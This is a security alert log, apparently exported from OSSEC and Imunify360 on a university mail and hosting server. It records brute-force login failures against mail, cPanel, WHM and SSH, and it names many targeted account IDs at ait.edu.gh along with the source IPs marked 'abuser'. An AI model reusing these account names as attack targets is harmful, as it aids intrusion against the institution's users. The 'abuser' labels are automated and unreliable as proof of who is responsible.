Jan 26 18:49:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.195.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
description:
2025-01-26 18:49:49 dovecot_login authenticator failed for ([60.172.230.184]) [60.172.230.184]:40093: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.168.26.166
description:
Jan 26 18:49:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.168.26.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.241.22
description:
2025-01-26 18:49:29 dovecot_login authenticator failed for (49.206.244.235.actcorp.in) [49.206.241.22]:39811: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.168.26.166
description:
2025-01-26 18:49:39 dovecot_login authenticator failed for syn-024-168-026-166.res.spectrum.com [24.168.26.166]:42872: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.21.102.172
description:
Jan 26 18:50:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.21.102.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.6.25.115
description:
Jan 26 18:50:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.6.25.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.102.172
description:
2025-01-26 18:50:57 dovecot_plain authenticator failed for 211-21-102-172.hinet-ip.hinet.net [211.21.102.172]:49714: 535 Incorrect authentication data (set_id=ads20b00297y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.220.130.160
description:
Jan 26 18:50:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.220.130.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
description:
2025-01-26 18:50:09 dovecot_plain authenticator failed for 95-87-248-223.ip.btc-net.bg (95-87-248-223.net1.bg) [95.87.248.223]:49980: 535 Incorrect authentication data (set_id=adom-oduro@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.87.248.223
description:
Jan 26 18:50:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.87.248.223 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.42.75.9
description:
[2025-01-26 18:50:08 +0100] info [webmaild] 84.42.75.9 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.173.105.206
description:
Jan 26 18:50:51 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.173.105.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.218.181.19
description:
Jan 26 18:50:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.218.181.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.218.181.19
description:
2025-01-26 18:50:19 dovecot_plain authenticator failed for ([201.218.181.19]) [201.218.181.19]:48362: 535 Incorrect authentication data (set_id=adom-oduro)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
description:
2025-01-26 18:50:53 dovecot_login authenticator failed for ([60.173.105.206]) [60.173.105.206]:38395: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.220.130.160
description:
2025-01-26 18:50:39 dovecot_login authenticator failed for (165-220-130-160.cust.exede.net) [165.220.130.160]:46216: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.25.115
description:
2025-01-26 18:50:45 dovecot_plain authenticator failed for (static.rcn.com) [209.6.25.115]:42518: 535 Incorrect authentication data (set_id=ads20b00297y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.51.5.236
description:
[2025-01-26 18:51:00 +0100] info [webmaild] 84.51.5.236 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.88.121.73
description:
Jan 26 18:51:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.88.121.73 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 85.104.70.98
description:
[2025-01-26 18:51:48 +0100] info [webmaild] 85.104.70.98 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.88.121.73
description:
2025-01-26 18:51:23 dovecot_plain authenticator failed for ([115.88.121.73]) [115.88.121.73]:38877: 535 Incorrect authentication data (set_id=ads69b66600y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.152.225.154
description:
Jan 26 18:51:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.152.225.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.52
description:
Jan 26 18:51:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.255.21.110
description:
2025-01-26 18:51:55 dovecot_login authenticator failed for (static.162.255.21.110.macminivault.com) [162.255.21.110]:53365: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.247.90
description:
Jan 26 18:51:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.247.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.152.225.154
description:
2025-01-26 18:51:49 dovecot_plain authenticator failed for s75-152-225-154.ab.hsia.telus.net [75.152.225.154]:30790: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.255.21.110
description:
Jan 26 18:51:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.255.21.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.109.75.69
description:
2025-01-26 18:51:34 dovecot_plain authenticator failed for ([211.109.75.67]) [211.109.75.69]:65245: 535 Incorrect authentication data (set_id=ads69b66600y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.52
description:
2025-01-26 18:51:59 dovecot_plain authenticator failed for (m121-202-154-52.smartone.com) [121.202.154.52]:54151: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.109.75.69
description:
Jan 26 18:51:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.109.75.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.154.247.90
description:
2025-01-26 18:51:44 dovecot_login authenticator failed for ([36.154.247.90]) [36.154.247.90]:41838: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.81.150
description:
[2025-01-26 18:52:44 +0100] info [whostmgrd] 156.228.81.150 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 176.123.10.110
domain: www.lemsas.net
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Microsoft URL Control - 6.00.8862||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.105.196.214
description:
2025-01-26 18:52:26 dovecot_plain authenticator failed for syn-208-105-196-214.biz.spectrum.com (rrcs-208-105-196-214.nys.biz.rr.com) [208.105.196.214]:46489: 535 Incorrect authentication data (set_id=ug20s1120028)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.62.211
description:
[2025-01-26 18:52:42 +0100] info [cpaneld] 104.207.62.211 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads21b00213y (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.114.57
description:
[2025-01-26 18:52:44 +0100] info [whostmgrd] 156.228.114.57 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.39.192
description:
[2025-01-26 18:52:44 +0100] info [whostmgrd] 104.207.39.192 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.250.225.23
description:
Jan 26 18:52:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.250.225.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.40.236
description:
2025-01-26 18:53:01 dovecot_login authenticator failed for ([171.244.40.236]) [171.244.40.236]:57423: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.40.236
description:
Jan 26 18:52:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.40.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
description:
2025-01-26 18:52:36 dovecot_login authenticator failed for (dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:51377: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.15.84.229
description:
2025-01-26 18:52:36 dovecot_login authenticator failed for ([112.15.84.229]) [112.15.84.229]:47268: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.125.72
description:
[2025-01-26 18:52:41 +0100] info [cpaneld] 156.228.125.72 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.108.51
description:
Jan 26 18:52:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.108.51 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.106.74
description:
[2025-01-26 18:52:41 +0100] info [cpaneld] 156.228.106.74 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads21b00213y (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.250.225.23
description:
2025-01-26 18:52:47 dovecot_login authenticator failed for syn-172-250-225-023.res.spectrum.com [172.250.225.23]:54406: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 156.229.233.219
description:
Jan 26 18:52:57 ait sshd[2393887]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=156.229.233.219


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.208.99.163
description:
Jan 26 18:52:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.208.99.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.15.84.229
description:
Jan 26 18:52:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.15.84.229 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.116.249
description:
[2025-01-26 18:52:43 +0100] info [whostmgrd] 156.228.116.249 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.99.144
description:
[2025-01-26 18:52:45 +0100] info [whostmgrd] 156.228.99.144 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 208.105.193.45
description:
Jan 26 18:52:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 208.105.193.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.208.99.163
description:
2025-01-26 18:52:08 dovecot_plain authenticator failed for (82-208-99-163.static.mts-nn.ru) [82.208.99.163]:60040: 535 Incorrect authentication data (set_id=ug20s1120028@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.55.134
description:
[2025-01-26 18:52:42 +0100] info [cpaneld] 104.207.55.134 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ads21b00213y (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 208.105.196.214
description:
Jan 26 18:52:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 208.105.196.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.105.193.45
description:
2025-01-26 18:52:58 dovecot_login authenticator failed for syn-208-105-193-045.biz.spectrum.com [208.105.193.45]:43703: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 18:52:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.58.41
description:
[2025-01-26 18:52:41 +0100] info [cpaneld] 104.207.58.41 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.47.87
description:
[2025-01-26 18:52:45 +0100] info [whostmgrd] 104.207.47.87 - ads21b00213y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.139.116.184
description:
Jan 26 18:53:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.139.116.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.139.116.184
description:
2025-01-26 18:53:57 dovecot_login authenticator failed for ([123.139.116.184]) [123.139.116.184]:53340: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.32.14
description:
2025-01-26 18:53:41 dovecot_login authenticator failed for ([5.32.32.14]) [5.32.32.14]:32872: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 26 18:53:03 ait sshd[2393938]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.32.14
description:
Jan 26 18:53:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.32.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.105.3.221
description:
2025-01-26 18:54:07 dovecot_login authenticator failed for ([183.105.3.221]) [183.105.3.221]:38366: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.178.176.85
description:
Jan 26 18:54:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.178.176.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.176.204.214
description:
2025-01-26 18:54:36 dovecot_plain authenticator failed for ([117.176.204.214]) [117.176.204.214]:47150: 535 Incorrect authentication data (set_id=ads69b66600y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.82.12.128
description:
Jan 26 18:54:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.82.12.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.100
description:
Jan 26 18:54:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.84.45.90
description:
[2025-01-26 18:54:58 +0100] info [webmaild] 138.84.45.90 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.105.3.221
description:
Jan 26 18:54:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.105.3.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.178.176.85
description:
2025-01-26 18:54:25 dovecot_plain authenticator failed for ([221.178.176.85]) [221.178.176.85]:59774: 535 Incorrect authentication data (set_id=ads20a00173y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.82.135.154
description:
Jan 26 18:54:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.82.135.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.82.135.154
description:
2025-01-26 18:54:47 dovecot_plain authenticator failed for ([1.82.135.154]) [1.82.135.154]:49334: 535 Incorrect authentication data (set_id=ads69b66600y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.82.12.128
description:
2025-01-26 18:54:06 dovecot_plain authenticator failed for (50-82-12-128.client.mchsi.com) [50.82.12.128]:60988: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.100
description:
2025-01-26 18:54:20 dovecot_login authenticator failed for (m121-202-152-100.smartone.com) [121.202.152.100]:30269: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.176.204.214
description:
Jan 26 18:54:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.176.204.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.160.123.6
description:
Jan 26 18:54:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.160.123.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.160.123.6
description:
2025-01-26 18:54:37 dovecot_plain authenticator failed for (xanneds) [109.160.123.6]:53806: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.10
description:
Jan 26 18:55:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
description:
Jan 26 18:55:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 18:55:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.151.46.98
description:
2025-01-26 18:55:43 dovecot_plain authenticator failed for (fp5cca5266.gifg408.ap.nuro.jp) [45.151.46.98]:48580: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
description:
2025-01-26 18:55:56 dovecot_plain authenticator failed for ([222.120.176.6]) [222.120.176.6]:55792: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.160.139.163
description:
Jan 26 18:56:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.160.139.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.151.46.98
description:
Jan 26 18:55:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.151.46.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.10
description:
2025-01-26 18:55:54 dovecot_login authenticator failed for (m121-202-155-10.smartone.com) [121.202.155.10]:24285: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.117.144.194
description:
Jan 26 18:56:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.117.144.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.160.139.163
description:
2025-01-26 18:56:04 dovecot_login authenticator failed for (163.pool90-160-139.dynamic.orange.es) [90.160.139.163]:51521: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.95.244.175
description:
[2025-01-26 18:56:36 +0100] info [webmaild] 181.95.244.175 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.88.121.73
description:
Jan 26 18:56:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.88.121.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.163.164
description:
2025-01-26 18:56:21 dovecot_plain authenticator failed for ([61.145.163.164]) [61.145.163.164]:34904: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.254.126.238
description:
Jan 26 18:56:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.254.126.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.97.114.149
description:
2025-01-26 18:56:33 dovecot_plain authenticator failed for c-73-97-114-149.hsd1.wa.comcast.net [73.97.114.149]:39270: 535 Incorrect authentication data (set_id=torgbor@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 193.32.162.136
description:
Jan 26 18:56:54 ait sshd[2395700]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=193.32.162.136


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.114.101
description:
2025-01-26 18:56:54 dovecot_plain authenticator failed for ([119.160.114.101]) [119.160.114.101]:63414: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.97.114.149
description:
Jan 26 18:56:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.97.114.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.254.126.238
description:
2025-01-26 18:56:33 dovecot_plain authenticator failed for c83-254-126-238.bredband.tele2.se (bucesillis) [83.254.126.238]:38794: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.117.144.194
description:
2025-01-26 18:56:03 dovecot_plain authenticator failed for ([211.117.144.194]) [211.117.144.194]:41612: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.145.163.164
description:
Jan 26 18:56:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.145.163.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.88.121.73
description:
2025-01-26 18:56:44 dovecot_plain authenticator failed for ([115.88.121.73]) [115.88.121.73]:34337: 535 Incorrect authentication data (set_id=torgbor)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 77.222.110.101
description:
[2025-01-26 18:56:03 +0100] info [webmaild] 77.222.110.101 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.160.114.101
description:
Jan 26 18:56:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.160.114.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.106.172.226
description:
Jan 26 18:57:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.106.172.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.52.204.227
description:
Jan 26 18:57:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.52.204.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.249.224.46
description:
2025-01-26 18:57:26 dovecot_plain authenticator failed for c83-249-224-46.bredband.tele2.se (digulatly) [83.249.224.46]:36276: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.149.220.145
description:
Jan 26 18:57:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.149.220.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.174.38
description:
Jan 26 18:57:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.174.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.52.204.227
description:
2025-01-26 18:57:16 dovecot_plain authenticator failed for ([46.52.204.227]) [46.52.204.227]:44007: 535 Incorrect authentication data (set_id=ads88a00088y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.255.21.110
description:
2025-01-26 18:57:59 dovecot_login authenticator failed for (static.162.255.21.110.macminivault.com) [162.255.21.110]:65097: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.106.172.226
description:
2025-01-26 18:57:09 dovecot_plain authenticator failed for c-73-106-172-226.hsd1.ga.comcast.net [73.106.172.226]:35958: 535 Incorrect authentication data (set_id=ads21b00213y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.249.224.46
description:
Jan 26 18:57:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.249.224.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.149.220.145
description:
2025-01-26 18:57:26 dovecot_plain authenticator failed for (static-146.220.149.202-tataidc.co.in) [202.149.220.145]:45778: 535 Incorrect authentication data (set_id=ads88a00088y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.142.212.174
description:
Jan 26 18:58:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.142.212.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.147.94
description:
2025-01-26 18:58:07 dovecot_login authenticator failed for ([80.227.147.94]) [80.227.147.94]:56891: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
